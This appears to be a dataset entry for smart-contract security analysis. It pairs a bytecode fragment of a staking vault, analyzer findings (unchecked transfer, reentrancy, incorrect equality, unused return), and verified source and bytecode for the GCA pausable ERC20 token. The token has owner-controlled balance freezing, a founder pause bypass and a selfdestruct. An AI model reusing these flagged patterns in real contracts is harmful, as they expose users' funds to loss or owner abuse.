0081565b6000611b4f8260046125bf90919063ffffffff16565b611b5c5760009050611c7b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bad5760009050611c7b565b6000611c03600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546121c090919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611c72600f54611c64858561257790919063ffffffff16565b6125a690919063ffffffff16565b90508093505050505b919050565b7394f31ac896c9823d81cf9c2c93feceed4923218f81565b600080611cb0600254426121c090919063ffffffff16565b90506000611d0d612710611cff62278d00611cf186611ce3600154680ad78ebc5ac620000061257790919063ffffffff16565b61257790919063ffffffff16565b6125a690919063ffffffff16565b6125a690919063ffffffff16565b9050809250505090565b60008111611d8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611d963361229b565b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611e3957600080fd5b505af1158015611e4d573d6000803e3d6000fd5b505050506040513d6020811015611e6357600080fd5b8101908080519060200190929190505050611ee6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611f3881600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9081600e546121f190919063ffffffff16565b600e81905550611faa3360046125bf90919063ffffffff16565b61200857611fc233600461263490919063ffffffff16565b5042600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60066020528060005260406000206000915090505481565b603281565b60035481565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461208c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120c657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b732dc9136ace4077d5060131c0eccd1635897c75dd81565b680ad78ebc5ac620000081565b6000828211156121cc57fe5b818303905092915050565b60006121e68360000183612664565b60001c905092915050565b60008082840190508381101561220357fe5b8091505092915050565b6000600e54141561221d57612298565b61225a612249600e5461223b600f548561257790919063ffffffff16565b6125a690919063ffffffff16565b600d546121f190919063ffffffff16565b600d819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b60006122a682611b39565b905060008111156124e9577394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561233657600080fd5b505af115801561234a573d6000803e3d6000fd5b505050506040513d602081101561236057600080fd5b81019080805190602001909291905050506123e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61243581600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248d816003546121f190919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061259657508284828161259357fe5b04145b61259c57fe5b8091505092915050565b6000808284816125b257fe5b0490508091505092915050565b60006125e7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126e7565b905092915050565b6000612617836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61270a565b905092915050565b600061262d826000016127f2565b9050919050565b600061265c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612803565b905092915050565b6000818360000180549050116126c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128746022913960400191505060405180910390fd5b8260000182815481106126d457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127e6576000600182039050600060018660000180549050039050600086600001828154811061275557fe5b906000526020600020015490508087600001848154811061277257fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806127aa57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127ec565b60009150505b92915050565b600081600001805490509050919050565b600061280f83836126e7565b61286857826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061286d565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732066726f6d2074686973207661756c742141646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a26469706673582212208e2554b6fedef5df1a37294363a375843187776a3a97c589175dd34cda82a3a764736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,466 |
0xc8b110c219828d6c4aaf0a9dafbc5b36a300b364
|
/**
*Submitted for verification at Etherscan.io on 2020-07-27
*/
pragma solidity 0.5.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balanceOf(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf(_from) >= _value);
require(balances[_to].add(_value) > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is StandardToken {
event Pause();
event Unpause();
bool public paused = false;
address public founder;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused || msg.sender == founder);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
//The functions below surve no real purpose. Even if one were to approve another to spend
//tokens on their behalf, those tokens will still only be transferable when the token contract
//is not paused.
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract GCA is PausableToken {
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev Constructor that gives the founder all of the existing tokens.
*/
constructor() public {
name = "Global Crypto Analytics";
symbol = "GCA";
decimals = 18;
totalSupply = 340000000*1000000000000000000;
founder = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/** @dev Fires on every freeze of tokens
* @param _owner address The owner address of frozen tokens.
* @param amount uint256 The amount of tokens frozen
*/
event TokenFreezeEvent(address indexed _owner, uint256 amount);
/** @dev Fires on every unfreeze of tokens
* @param _owner address The owner address of unfrozen tokens.
* @param amount uint256 The amount of tokens unfrozen
*/
event TokenUnfreezeEvent(address indexed _owner, uint256 amount);
event TokensBurned(address indexed _owner, uint256 _tokens);
mapping(address => uint256) internal frozenTokenBalances;
function freezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= balanceOf(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.add(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenFreezeEvent(_owner,_value);
}
function unfreezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= getFrozenBalance(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.sub(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenUnfreezeEvent(_owner,_value);
}
function setFrozenBalance(address _owner, uint256 _newValue) internal {
frozenTokenBalances[_owner]=_newValue;
}
function balanceOf(address _owner) view public returns(uint256) {
return getTotalBalance(_owner).sub(getFrozenBalance(_owner));
}
function getTotalBalance(address _owner) view public returns(uint256) {
return balances[_owner];
}
/**
* @dev Gets the amount of tokens which belong to the specified address BUT are frozen now.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount of frozen tokens owned by the passed address.
*/
function getFrozenBalance(address _owner) view public returns(uint256) {
return frozenTokenBalances[_owner];
}
/*
* @dev Token burn function
* @param _tokens uint256 amount of tokens to burn
*/
function burnTokens(uint256 _tokens) public onlyOwner {
require(balanceOf(msg.sender) >= _tokens);
balances[msg.sender] = balances[msg.sender].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(msg.sender, _tokens);
}
function destroy(address payable _benefitiary) external onlyOwner{
selfdestruct(_benefitiary);
}
}
|
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610625578063d3d381931461068b578063d73dd623146106e3578063dd62ed3e14610749578063e9b2f0ad146107c1578063f2fde38b1461080f5761014c565b806370a08231146104505780638456cb59146104a85780638da5cb5b146104b257806395d89b41146104fc5780639f2cfaf11461057f578063a4df6c6a146105d75761014c565b8063313ce56711610115578063313ce567146103225780633f4ba83a146103465780634d853ee5146103505780635c975abb1461039a57806366188463146103bc5780636d1b229d146104225761014c565b8062f55d9d1461015157806306fdde0314610195578063095ea7b31461021857806318160ddd1461027e57806323b872dd1461029c575b600080fd5b6101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610853565b005b61019d6108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102646004803603604081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610964565b604051808215151515815260200191505060405180910390f35b6102866109ea565b6040518082815260200191505060405180910390f35b610308600480360360608110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b61032a610a78565b604051808260ff1660ff16815260200191505060405180910390f35b61034e610a8b565b005b610358610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610b6d565b604051808215151515815260200191505060405180910390f35b610408600480360360408110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b61044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050610c06565b005b6104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b6104b0610da2565b005b6104ba610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610504610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc4565b005b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b61072f600480360360408110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b604051808215151515815260200191505060405180910390f35b6107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611291565b005b6108516004803603602081101561082557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b6000600460009054906101000a900460ff1615806109cf5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d857600080fd5b6109e283836114d6565b905092915050565b60005481565b6000600460009054906101000a900460ff161580610a5b5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a6457600080fd5b610a6f84848461165b565b90509392505050565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae557600080fd5b600460009054906101000a900460ff16610afe57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610beb5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf457600080fd5b610bfe8383611a79565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6057600080fd5b80610c6a33610d76565b1015610c7557600080fd5b610cc781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1f81600054611d0a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6826040518082815260200191505060405180910390a250565b6000610d9b610d8483610f7b565b610d8d8461113b565b611d0a90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b600460009054906101000a900460ff161580610e655750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e6e57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f735780601f10610f4857610100808354040283529160200191610f73565b820191906000526020600020905b815481529060010190602001808311610f5657829003601f168201915b505050505081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b61102782610d76565b81111561103357600080fd5b600061103e83610f7b565b905060006110558383611d2190919063ffffffff16565b90506110618482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e846040518082815260200191505060405180910390a250505050565b6000600460009054906101000a900460ff1615806111205750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61112957600080fd5b6111338383611d85565b905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900460ff1615806111ef5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111f857600080fd5b6112028383611f6e565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112eb57600080fd5b6112f482610f7b565b81111561130057600080fd5b600061130b83610f7b565b905060006113228383611d0a90919063ffffffff16565b905061132e8482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0846040518082815260200191505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082148061156257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61156b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169657600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561171f57600080fd5b8161172985610d76565b101561173457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b116117d057600080fd5b61182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611b8a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1e565b611b9d8382611d0a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115611d1657fe5b818303905092915050565b600080828401905083811015611d3357fe5b8091505092915050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc057600080fd5b611dc933610d76565b821115611dd557600080fd5b611e2782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063f